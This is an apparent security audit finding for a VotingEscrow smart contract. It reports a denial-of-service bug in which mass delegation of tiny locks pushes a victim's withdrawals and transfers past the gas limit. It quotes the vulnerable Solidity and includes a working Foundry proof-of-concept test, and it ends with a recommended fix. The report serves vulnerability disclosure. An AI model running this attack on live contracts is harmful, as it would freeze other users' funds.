Lucky Peanut Dragon

Medium

# DOS attack by delegating tokens

## Summary

## Vulnerability Detail
Any user can delegate the balance of the locked token amount to anyone by calling delegate().

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1431-L1505
```solidity
function _moveAllDelegates(
        address tokenOwner,
        address srcRep,
        address dstRep
    ) internal {
        // You can only redelegate what you own
        if (srcRep != dstRep) {
            if (srcRep != address(0)) {
                //......
                    }
                }

                numCheckpoints[srcRep] = srcRepNum + 1;
            }

            if (dstRep != address(0)) {
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint[] storage dstRepOld = dstRepNum > 0
                    ? checkpoints[dstRep][dstRepNum - 1].tokenIds
                    : checkpoints[dstRep][0].tokenIds;
                uint32 nextDstRepNum = _findWhatCheckpointToWrite(dstRep);
                uint[] storage dstRepNew = checkpoints[dstRep][
                    nextDstRepNum
                ].tokenIds;
                uint ownerTokenCount = ownerToNFTokenCount[tokenOwner];
                require(
                    dstRepOld.length + ownerTokenCount <= MAX_DELEGATES,
                    "dstRep would have too many tokenIds"
                );
                // All the same
                for (uint i = 0; i < dstRepOld.length; i++) {
                    uint tId = dstRepOld[i];
                    dstRepNew.push(tId);
                }
                // Plus all that's owned
                for (uint i = 0; i < ownerTokenCount; i++) {
                    uint tId = ownerToNFTokenIdList[tokenOwner][i];
                    dstRepNew.push(tId);
                }

                numCheckpoints[dstRep] = dstRepNum + 1;
            }
        }
    }
```

As the delegated tokens are maintained in an array that's vulnerable to DOS attack, the VotingEscrow contract has a check of MAX_DELEGATES = 1024, preventing an address from having a huge array.

```solidity
uint public constant MAX_DELEGATES = 1024; // avoid too much gas
```

Given the current implementation, any user with even less than 1024 delegated tokens takes more than enough to out of gas the tx and revert. Functions _moveTokenDelegates and _moveAllDelegates will consume a lot of gas and will cause DOS.

These functions(_moveTokenDelegates() and _moveAllDelegates()) from VotingEscrow are called in the following functions, which makes them vulnerable to DoS.

delegate()
safeTransferFrom()
transferFrom()
merge()
withdraw()


If someone tries to attack a victim's address by creating a new address, a new lock, and delegating to the victim, the victim can not use the withdraw/transfer/delegate functions.
## Impact
Due to the attack, multiple users won't be able to withdraw their tokens.
## Code Snippet
VotingEscrow.t.sol


```solidity
function testDelegateLimitAttack() public {
        flowDaiPair.approve(address(escrow), type(uint256).max);

        uint tokenId = escrow.create_lock(TOKEN_1, 1 weeks);

        for (uint256 i = 0; i < 285; i++) {
            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 12);

            address fakeAccount = address(uint160(block.timestamp + i));
            flowDaiPair.transfer(fakeAccount, 1);

            vm.startPrank(fakeAccount);
            flowDaiPair.approve(address(escrow), type(uint256).max);
            escrow.create_lock(1, 52 weeks);
            escrow.delegate(address(this));
            vm.stopPrank();
        }

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 1 weeks);

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 1 weeks);

        escrow.withdraw(tokenId);
    }
```
## Tool used

Manual Review

## Recommendation
Adjust the MAX_DELEGATES to a lower number or give users the option to opt out or opt in for certain delegated tokens.